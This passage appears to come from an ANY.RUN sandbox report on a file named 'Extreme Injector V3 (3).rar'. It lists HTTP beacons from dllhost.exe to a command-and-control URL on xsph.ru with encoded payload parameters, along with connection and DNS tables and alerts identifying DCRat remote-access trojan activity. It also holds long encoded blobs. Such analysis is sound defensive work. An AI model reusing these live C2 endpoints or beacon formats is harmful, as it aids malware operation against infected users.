maJpXNXpFbKNTWUp0QMlGNyQmd1ITY1ZFbJZTSDVlS1UVUNp0QMlWSwI1ZNpWS2k0UUJkSsl0cJlmYzkTbiJXNXZVavpWSzh3VZNjVtNGcatWSzlUaiNTOtJmc1clVp9maJpnVuNGcahVYwUzVRl2dplEeBNFTnF0QU1kVFJVavpWS1lzVhpnSYp1VOFDVKp0aJNXS5VFUstWUnBzVaBjTYVGVCNEZzZFWZ1mVHJVavpWSsFzVZ9kTxQlSKtWSzlUaiNTOtJmc1clVp9maJVEbFpVeGJjYppEWa9mUzImTKNETpRjMkZXNyEWdWxWS2kUajxmSYRGMOdVWtZlbihWMFpVeGJjYppEWa9mUzImTKNETpRjMkZXNyEWdWxWS2k0UaRnRtR1aKhVW2pUbjxGaHRmdxsWSzl0UNlnVHJ2c502YwUjMiRUOXp1as1mVp9maJtGbVplas1GZsJVVWFFZrl0cJNVU2RzaJZTSTpFMG1WVv5EWalnWXp1UohVWOZlRVhkSDxUaFBDTPpUaPlGNyIGcSh0Ywp0MZpnVHJFbSJjYOlzVatGbtZlVCFjUpdXaJJUOpRVavpWS1o0MiRnVXRldWdkWwplVWFFZrl0cJNVU2RzaJZTSpNmdONzYs5kMilnQxIGbSdVYXZlRVhkSDxUaVpWS2k0UalnVIRmaWdEZwhmMZlnRwIGbSdVYXZlRVhkSDxUaJhlWwIEWZtmRFlkeOdVYvJEWZlHZFlkQktmVnFVbjhmUtJGaSNTVp9maJxWMXl1TWZUVIp0QMlWTUJlMBRlT3FERNdkWrF1RKV0TzEkaJZTSDplSKNjY65EWapWOtNWUWZUVEp0QMlWQUZVUOtWS2k0QapkVykFcahlWFZlRVRkSDx0MnRlT69maJVXOXFmes1GZspkVWFlTrl0cJlWZJFTRJBTRU1keJl2TpF1VaxmQzUlcOJjYz5URkVnVtNWeWNTUWJUMRl2dplkQ5kGVp9maJtmVXp1dOFTYqlzRiREeXlVdKhlWwgGWSZlQxEVa3lWSDxmMTdWQqlkNJNlW2wmMVxGaykFaOBTTNZlRVRkSDxUaFBDTPpUaPlWVtVGcOZlWv50VZRkSERlVCFTUpdXaJVTSp9UaV12YxI1MZxmUYF2bO12YCZlRVRkSDxEMvpWS6p0MipnTYpla502YRh3VZpGbyold4VlVR50aJNXUq9UaNhlW5ljMRZlQxEVa3lWS6FUeaVHbHN2dWdEZUJ0QOhXQDJGbSJjYOJUaOd2aIJGcxcVWHJ0QOJzZulkNJlmY2x2RkdHbtNmaOhlWFZlRVRkSDxUavh0UIJkeOVXSElUQCNlVR5URJdXQE5kMwMlTwJ0UL5kUGtEbKNjYEJ0ULNFaDJGbS5mYKpUaPlWVXJGa1UlVR50aJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiI2MDO4IWOlVTN4MzYjdDMhJTO4ATZ1IGM1I2MzUWNiZTZzQGMihzYxIiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&19b9eb1db0327134a8e884f70d514d82=0VfiAjRaxmUuNGaSNzYnRzVh5mVIJWUCNFTnBTRVd2ZE1kNNpXT2MGRJBTSE1Ue4MkT2VkeXJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIyITN4IWM1ITOhdTZwYGN5QGNmhjZhRjZ2UzN0UzMzIWOiZGNkhTY1IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W&3ee7ee8311472d599cf57029fe23d4d9=0VfiIiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZisHL9JSOx4WS6FzRJlXUqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2dpl0LJl2TpFERPtmVEp1aCRVT3lEVORzaUplaGdkWzk1RNxGaUpFaGRVW6NmeNJzZqplMRR1T4FlMOdXRql0cJlHUp9maJBTSy4EbKJTWsZkeZFTTq50djRkW1UkeZlGaqp1aSpmTt5EVNpXVt1UMFpnTyUERP1Ga65ENJNETpFkaJZTSplFMZpXWzUUbZxmVHp1dRdlWtZ0VNpGaE5kMZ1mT0UUbZhmSq10aspWT5l0VONTRH9EeV1WWpNnbPlWRHRGaSVEZ0YVbJNXVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJlnRtNWdrlXTvFUeNdlQpNmdSNTWsBXbipkQTpFdW12YwgGWSl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS51EMnpmT1dGRMRzZU1Ee0MUTxkUaPlWTyI2cKNETpVVRSl2bqlUNKhEZ1Z1MipmSDxUaVJzY6Z1RTl2bqlUd5cVYuZVbjl2dplUdsdVWOJ0UihmQDRWeW5mWyVzVZlnWrlkNJNVZwwmMZl2dplUerpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIkNjZ1cDZmdTM4MDMxYjM3E2MwQGNyQWM3EGMhBDOhBjYiljNkVTM0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W&3ee7ee8311472d599cf57029fe23d4d9=0VfiIiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZisHL9JSOx4WS6FzRJlXUqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2dpl0LJl2TpFERPtmVEp1aCRVT3lEVORzaUplaGdkWzk1RNxGaUpFaGRVW6NmeNJzZqplMRR1T4FlMOdXRql0cJlHUp9maJBTSy4EbKJTWsZkeZFTTq50djRkW1UkeZlGaqp1aSpmTt5EVNpXVt1UMFpnTyUERP1Ga65ENJNETpFkaJZTSplFMZpXWzUUbZxmVHp1dRdlWtZ0VNpGaE5kMZ1mT0UUbZhmSq10aspWT5l0VONTRH9EeV1WWpNnbPlWRHRGaSVEZ0YVbJNXVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJlnRtNWdrlXTvFUeNdlQpNmdSNTWsBXbipkQTpFdW12YwgGWSl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS51EMnpmT1dGRMRzZU1Ee0MUTxkUaPlWTyI2cKNETpVVRSl2bqlUNKhEZ1Z1MipmSDxUaVJzY6Z1RTl2bqlUd5cVYuZVbjl2dplUdsdVWOJ0UihmQDRWeW5mWyVzVZlnWrlkNJNVZwwmMZl2dplUerpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIkNjZ1cDZmdTM4MDMxYjM3E2MwQGNyQWM3EGMhBDOhBjYiljNkVTM0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
2648
dllhost.exe
104.20.68.143:443
pastebin.com
CLOUDFLARENET
—
unknown
2648
dllhost.exe
141.8.192.103:80
a0900442.xsph.ru
Sprinthost.ru LLC
RU
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.68.143
  • 104.20.67.143
  • 172.67.34.170
shared
a0900442.xsph.ru
  • 141.8.192.103
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
2648
dllhost.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Extreme Injector V3 (3).rar